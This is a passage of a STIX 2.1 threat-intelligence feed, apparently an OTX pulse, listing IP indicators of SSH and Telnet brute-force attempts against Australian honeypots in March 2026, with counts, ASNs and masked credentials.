      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.42.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T17:15:15.000Z",
      "valid_until": "2026-04-24T17:15:13.000Z"
    },
    {
      "created": "2026-03-23T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--ed18b913-75c8-4667-959c-77ba4e8e975d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T17:15:15.000Z",
      "valid_until": "2026-04-24T17:15:13.000Z"
    },
    {
      "created": "2026-03-23T17:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2a90d400-c1bf-43f1-bb19-ddad8f64233e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T17:15:15.000Z",
      "valid_until": "2026-04-24T17:15:13.000Z"
    },
    {
      "created": "2026-03-23T17:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--b161eb59-2fbe-4321-9f1f-1103822531a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.117.51.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T17:15:15.000Z",
      "valid_until": "2026-04-24T17:15:13.000Z"
    },
    {
      "created": "2026-03-23T18:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--e764d0d7-cc37-4afc-84ad-caa9005292c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T18:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.39.233.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T18:15:09.000Z",
      "valid_until": "2026-04-24T18:15:07.000Z"
    },
    {
      "created": "2026-03-23T18:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 133776. Organisation(s): Quanzhou.",
      "id": "indicator--16eb148c-bb3d-4dc0-af04-d193c69a7482",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T18:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.77.172.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T18:15:09.000Z",
      "valid_until": "2026-04-24T18:15:07.000Z"
    },
    {
      "created": "2026-03-23T18:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 30036. Organisation(s): Mediacom Communications Corp.",
      "id": "indicator--a0524b8e-87a5-4917-9ed2-365b3c23704e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T18:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.25.41.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T18:15:09.000Z",
      "valid_until": "2026-04-24T18:15:07.000Z"
    },
    {
      "created": "2026-03-23T18:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--3bf8562e-207d-49dd-b606-0e7856b5ecea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T18:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.180.135.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T18:15:09.000Z",
      "valid_until": "2026-04-24T18:15:07.000Z"
    },
    {
      "created": "2026-03-23T19:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 7545. Organisation(s): TPG Telecom Limited.",
      "id": "indicator--ea9c76dc-79ba-4b86-8420-a18c712cf410",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T19:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.211.39.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:15:22.000Z",
      "valid_until": "2026-04-24T19:15:07.000Z"
    },
    {
      "created": "2026-03-23T19:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6584f493-9567-4fe0-87fb-b290579cb8c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T19:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:15:22.000Z",
      "valid_until": "2026-04-24T19:15:07.000Z"
    },
    {
      "created": "2026-03-23T19:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--ce8803a8-631f-4a98-a425-47b2b089006a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T19:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.204.197.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:15:22.000Z",
      "valid_until": "2026-04-24T19:15:07.000Z"
    },
    {
      "created": "2026-03-23T19:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--603ac093-2996-45c0-a08c-40786ac0983a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T19:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:15:22.000Z",
      "valid_until": "2026-04-24T19:15:07.000Z"
    },
    {
      "created": "2026-03-23T19:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33363. Organisation(s): Charter Communications, Inc. Usernames observed (masked): g*****n, 3**********4, b****x, i*******w, l**a. Passwords observed (masked): 1***5, 3***********4, 3**********4, g*********s, i***********s.",
      "id": "indicator--19f5ac80-6c0f-464d-b2eb-5a9f906c4a8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T19:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.17.34.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:15:22.000Z",
      "valid_until": "2026-04-24T19:15:07.000Z"
    },
    {
      "created": "2026-03-23T19:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--9a66bfae-530c-4452-8363-28233b39020c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T19:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.55.67.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T19:15:22.000Z",
      "valid_until": "2026-04-24T19:15:07.000Z"
    },
    {
      "created": "2026-03-23T20:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 131310. Organisation(s): CX2 Computer Exchange. Usernames observed (masked): r**t, 3**********4, a****d, a******k, b**g. Passwords observed (masked): 1****6, 1**4, 1***5, 1********0, 3***********4.",
      "id": "indicator--96bb7405-2804-4be1-a0b5-8ca4b422cb50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T20:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.6.238.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T20:15:16.000Z",
      "valid_until": "2026-04-24T20:15:12.000Z"
    },
    {
      "created": "2026-03-23T20:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, a***n. Passwords observed (masked): a***n, r**t, v***v, x****1.",
      "id": "indicator--c1b95ddf-7186-4bbe-8324-8eb79b0f5f9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T20:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.206.191.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T20:15:16.000Z",
      "valid_until": "2026-04-24T20:15:12.000Z"
    },
    {
      "created": "2026-03-23T20:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): c****s, r**t, 3**********4, a******3, a**f. Passwords observed (masked): ***, 1******8, 1*******/, 3***********4, 3**********4.",
      "id": "indicator--57c33638-739d-4e50-8863-753442efd478",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T20:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.106.4.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T20:15:16.000Z",
      "valid_until": "2026-04-24T20:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): u****u, 3**********4, j**a, r**t, t**p. Passwords observed (masked): 1**4, 3***********4, 3**********4, A******!, J******!.",
      "id": "indicator--53cf7b94-e46e-4b65-8d46-8ffcb7dacdf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.96.13.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): c**a, s*****a. Passwords observed (masked): p******d, s********3.",
      "id": "indicator--10065a64-26fc-4ea4-95d7-c39694a20889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.39.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): **, i****a, r**t. Passwords observed (masked): A*******4, e*****c, i****a.",
      "id": "indicator--92830519-b88d-4218-a01e-a671250cde26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.241.41.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al.",
      "id": "indicator--9913db84-c41e-415c-833c-36139c480e94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.142.238.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t, c*****7, 3**********4, a******a, c****2. Passwords observed (masked): ***, 1**4, 1****6, 1******8, 1****@.",
      "id": "indicator--4f5d3a05-479d-484d-af58-7efb60277a0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.233.78.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262595. Organisation(s): OnNet Telecomunicacoes LTDA.",
      "id": "indicator--f25388c1-5760-4fcc-8699-d420b2e1fc5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.85.3.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): o*****n, t****t. Passwords observed (masked): ***, 1**4.",
      "id": "indicator--927d1e6e-b430-46f6-88c9-9e7349733344",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.43.76.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--dd2e465f-2ae5-40e1-a665-193851c8b7f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 327931. Organisation(s): Optimum-Telecom-Algeria. Usernames observed (masked): a****d, 3**********4, p***o, s***r. Passwords observed (masked): 1***5, 3***********4, 3**********4, a****d, p*******4.",
      "id": "indicator--1bfd9f12-6083-4f9a-a532-f3d8480ac99d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.220.144.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): ***, n***o, 3**********4, a****d, e**n. Passwords observed (masked): p******d, 1**4, 1****6, 1******8, 3***********4.",
      "id": "indicator--61894ab7-bcf7-4b18-b4a1-ab00a54fd071",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.234.252.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T21:15:14.000Z",
      "valid_until": "2026-04-24T21:15:12.000Z"
    },
    {
      "created": "2026-03-23T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 17621. Organisation(s): China Unicom Shanghai network. Usernames observed (masked): c****y, d****o, e****z, j*****s. Passwords observed (masked): *, 1***5, d**********o, e**********z.",
      "id": "indicator--f393e0d8-483e-404f-9b07-de0c8e01a814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.31.103.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T22:15:13.000Z",
      "valid_until": "2026-04-24T22:15:12.000Z"
    },
    {
      "created": "2026-03-23T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--925b59cf-6dd0-4382-9180-95fd102fa8f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.5.190.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T22:15:13.000Z",
      "valid_until": "2026-04-24T22:15:12.000Z"
    },
    {
      "created": "2026-03-23T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14117. Organisation(s): Telefonica del Sur S.A.. Usernames observed (masked): p***a, 3**********4, a*******4, c*****7, c**y. Passwords observed (masked): 1***5, ***, 1******8, 1***********#, 3***********4.",
      "id": "indicator--8e266236-5d9b-4b70-894a-9ade21c15fc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.57.170.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T22:15:13.000Z",
      "valid_until": "2026-04-24T22:15:12.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--c21d28e4-d4a3-434d-aae4-1a16eef89b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.39.231.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network. Usernames observed (masked): r**t. Passwords observed (masked): A********3.",
      "id": "indicator--f53147b2-5e07-407f-af6a-047829ee4ec6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.196.76.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): j***s, 3**********4, a*******r, c*********o, f*******e. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, G****!.",
      "id": "indicator--63dbf403-3074-4382-b649-208cdc8aaab2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.61.18.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s*****r. Passwords observed (masked): ***.",
      "id": "indicator--e97ba191-ac11-451e-ad8c-6bddd63759bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.191.132.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): t***1. Passwords observed (masked): 1**4.",
      "id": "indicator--f79cfe47-d3cc-45cd-a47a-c392a0a1e133",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T23:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.203.134.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T23:15:07.000Z",
      "valid_until": "2026-04-24T23:15:05.000Z"
    },
    {
      "created": "2026-03-23T23:15:07.000Z",
